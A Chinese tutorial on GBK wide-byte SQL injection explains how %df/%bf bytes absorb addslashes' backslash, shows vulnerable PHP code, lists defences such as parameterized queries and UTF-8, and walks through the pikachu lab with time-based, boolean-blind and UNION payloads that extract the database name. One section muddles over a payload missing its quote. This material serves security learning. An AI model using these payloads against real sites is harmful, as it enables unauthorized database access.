本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
[2、攻击 Payload 与结果](#2、攻击 Payload 与结果)
[2.1 使用延时注入初步验证](#2.1 使用延时注入初步验证)
[2.2 布尔条件测试](#2.2 布尔条件测试)
[3.1 获取数据库名长度](#3.1 获取数据库名长度)
[3.2 逐个字符猜解数据库名](#3.2 逐个字符猜解数据库名)
一、概念
宽字节注入是一种利用数据库字符集编码差异 绕过转义防御(如 addslashes、mysql_real_escape_string)的 SQL 注入技术。它主要发生在使用 GBK、GB2312、BIG5 等多字节字符集的环境中。
1、核心原理
当数据库连接使用 SET NAMES 'gbk'(或类似的宽字节字符集)时,PHP 的转义函数(如 addslashes)会在特殊字符前添加反斜杠 \(ASCII 0x5c)。攻击者通过在输入中构造一个宽字节字符 (如 %df),与转义添加的反斜杠 %5c 组合成一个合法的多字节字符(如 %df%5c 即 運),导致反斜杠被"吞掉"而失去转义效果,从而使得原本被转义的单引号 ' 重新成为字符串结束符,实现注入。
2、简单示例
-
正常输入:
1'→ 被转义成1\'→ 无法注入。 -
宽字节注入输入:
1%df'→ 经过转义变成1%df\'→ 但%df和反斜杠%5c组成%df%5c(一个合法的 GBK 字符),剩下的单引号%27未被转义 → 最终 SQL 为... WHERE id='1運'',实现了注入。
3、典型场景与代码
// 数据库连接设置为 GBK mysql_query("SET NAMES 'gbk'"); $name = addslashes($_GET['name']); $sql = "SELECT * FROM users WHERE name='$nam'";
攻击者输入 name=1%df' or 1=1 --,利用宽字节特性逃逸转义。
4、触发条件
-
数据库连接使用了宽字节字符集(如 GBK、GB2312、BIG5、Shift_JIS)。
-
PHP 使用了转义函数 (如
addslashes、mysql_real_escape_string,但后者在设置正确字符集时可能无效)。 -
客户端提交的数据未做更严格的过滤或预处理。
5、与普通注入的区别
-
普通注入:通过闭合引号、注释符绕过。
-
宽字节注入:通过构造宽字节使反斜杠失效,从而让单引号"活过来"。
6、防御措施
-
使用参数化查询(Prepared Statements):最彻底的方法,无需关心字符集。
-
统一使用 UTF-8 字符集 :UTF-8 中
%df%5c不是一个有效的多字节字符,反斜杠不会被吞掉。设置SET NAMES 'utf8'或使用charset=utf8。 -
避免使用 GBK/GB2312 等宽字节编码 ,或确保转义函数正确处理(如
mysql_set_charset('gbk')配合mysql_real_escape_string可防御,但推荐直接上参数化查询)。 -
输入过滤 :过滤
%df、%5c等危险字符,但不如前两种可靠。
7、实际利用(合法测试环境)
在宽字节环境下,探测注入:
http://example.com/?id=1%df' and 1=1 --
如果返回内容与 1' and 1=1 类似,则存在宽字节注入。
8、总结
宽字节注入是一种依赖于特定字符集(非 UTF-8) 的注入技术,利用转义符反斜杠与输入字符组成多字节字符从而"吃掉"反斜杠。根本防御是参数化查询,其次统一使用 UTF-8 字符集。
二、宽字节注入的典型过程
1、漏洞代码分析

mysql_query($conn, "set names gbk"); // 设置数据库连接为 GBK 字符集 $id = $_GET['id']; $id = addslashes($id); // 对输入进行转义 $sql = "select * from userinfo where id='{$id}'";
-
关键点 :数据库连接使用了 GBK 字符集。
-
addslashes会将单引号'转义为\'(反斜杠的 ASCII 为0x5c),通常可以防止 SQL 注入。 -
但由于 GBK 是多字节字符集,某些字节与反斜杠
0x5c组合会形成一个合法的中文字符,导致反斜杠被"吸收"而失效。
2、攻击 Payload 与结果
Payload:
http://127.0.0.1/demo3.php?id=1%bf union select 1,2,3 limit 1,1 -- -
执行过程:
-
用户输入
1%bf。%bf是一个十六进制字节(191)。 -
addslashes会在单引号前加反斜杠,但这里并没有单引号?注意:代码中$id被拼接进 SQL 时会用单引号包裹,如'{$id}'。传入1%bf,实际字符串为1后跟一个字节0xbf。 -
然而,攻击者最终目的是要让原本的闭合单引号失效。实际注入的完整 payload 是
1%bf' union ...。因为在 URL 中单引号被编码为%27,但为了展示,图中写的是1%bf union...,可能省略了单引号?注意图中显示的 SQL 语句:select * from userinfo where id='1' union select 1,2,3 limit 1,1 -- -',说明1后面确实有一个单引号。因此原始输入应该是1%bf'。但图中显示的 payload 没有单引号?重新看:1%bf union...中%bf后面直接跟union,这意味着%bf本身并不是单引号。实际上典型的宽字节注入是在单引号前加%df之类的,让%df%5c合成一个汉字,从而保留单引号。图中可能省略了单引号,或者将%bf作为绕过转义的一部分。
更准确地解释:正常输入 1' 会被转义为 1\',反斜杠 0x5c 在 GBK 中与后续字符组合。攻击者输入 1%bf',转义后变为 1%bf\',即字节序列:31 bf 5c 27。由于 bf 与 5c 组成一个有效的 GBK 字符(如 縗),反斜杠被消耗,剩下的 27 即为独立的单引号,从而闭合了原 SQL 中的引号。然后攻击者可以追加 union select ...。
执行的 SQL 最终变为:
select * from userinfo where id='1' union select 1,2,3 limit 1,1 -- -'
成功执行了联合查询,并返回了数组 [1,2,3]。

3、总结
-
宽字节注入原理 :利用 GBK 等字符集中,某些字节与反斜杠
0x5c组成多字节字符,导致转义符失效。 -
触发条件 :数据库连接使用
SET NAMES gbk(或类似宽字符集)且应用程序使用转义函数(如addslashes)。 -
防御方法:使用参数化查询(推荐)或统一使用 UTF-8 字符集,并避免使用不安全的转义函数。
三、靶场注入示例
以pikachu靶场为例
1、环境确认与初步探测
-
正常访问 访问
http://192.168.179.135/pikachu-master/pikachu-master/vul/sqli/sqli_widebyte.php,输入用户名kobe查询,返回uid=3, email=kobe@pikachu.com。确认正常功能。 -
确认字符集与宽字节条件 查看页面源码或提示,得知该模块使用 GBK 编码,并且存在宽字节注入漏洞。

2、测试注入点是否存在
2.1 使用延时注入初步验证
Payload (POST 参数 name):
kobe%bf'or sleep(5)--
-
%bf是宽字节字符,与转义添加的反斜杠%5c组合成 GBK 汉字,从而吃掉反斜杠,使单引号存活。 -
提交后页面响应明显延迟 5 秒,确认存在时间盲注,同时说明宽字节注入有效。

2.2 布尔条件测试
-
永真条件 :
kobe%bf'or 1=1--结果返回了所有用户(uid 从 1 到 7 等多条记录),说明条件生效。
-
永假条件 :
kobe%bf'or 1=2--返回"您输入的username不存在",说明页面能区分真/假。 → 确认存在布尔盲注。
3、利用布尔盲注获取数据库信息
3.1 获取数据库名长度
Payload:
kobe%bf'or length(database())=7--
页面正常返回多条用户数据(真),说明 length(database()) = 7 成立。 若改为 =8 则返回空,从而确定数据库名长度为 7。

3.2 逐个字符猜解数据库名
使用 substr(database(),1,1) 结合 ASCII 码或十六进制比较。
示例 (猜第一个字符是否为 p):
kobe%bf'or substr(database(),1,1)=0x70--
-
0x70是字母p的十六进制。页面返回正常(真),说明第一个字符是p。 后续依次猜解substr(database(),2,1)等,最终得到数据库名pikachu。
4、使用联合查询直接获取数据库名
由于联合查询需要确定列数,且该模块存在回显位置,用户直接使用了联合查询(截图显示成功)。
Payload:
kobe%bf'union select database(),2 limit 0,1--
-
闭合前面的查询,
limit 0,1确保只返回联合查询的结果。 -
执行后在页面上
your uid处显示pikachu,your email显示2。 → 成功获取当前数据库名。
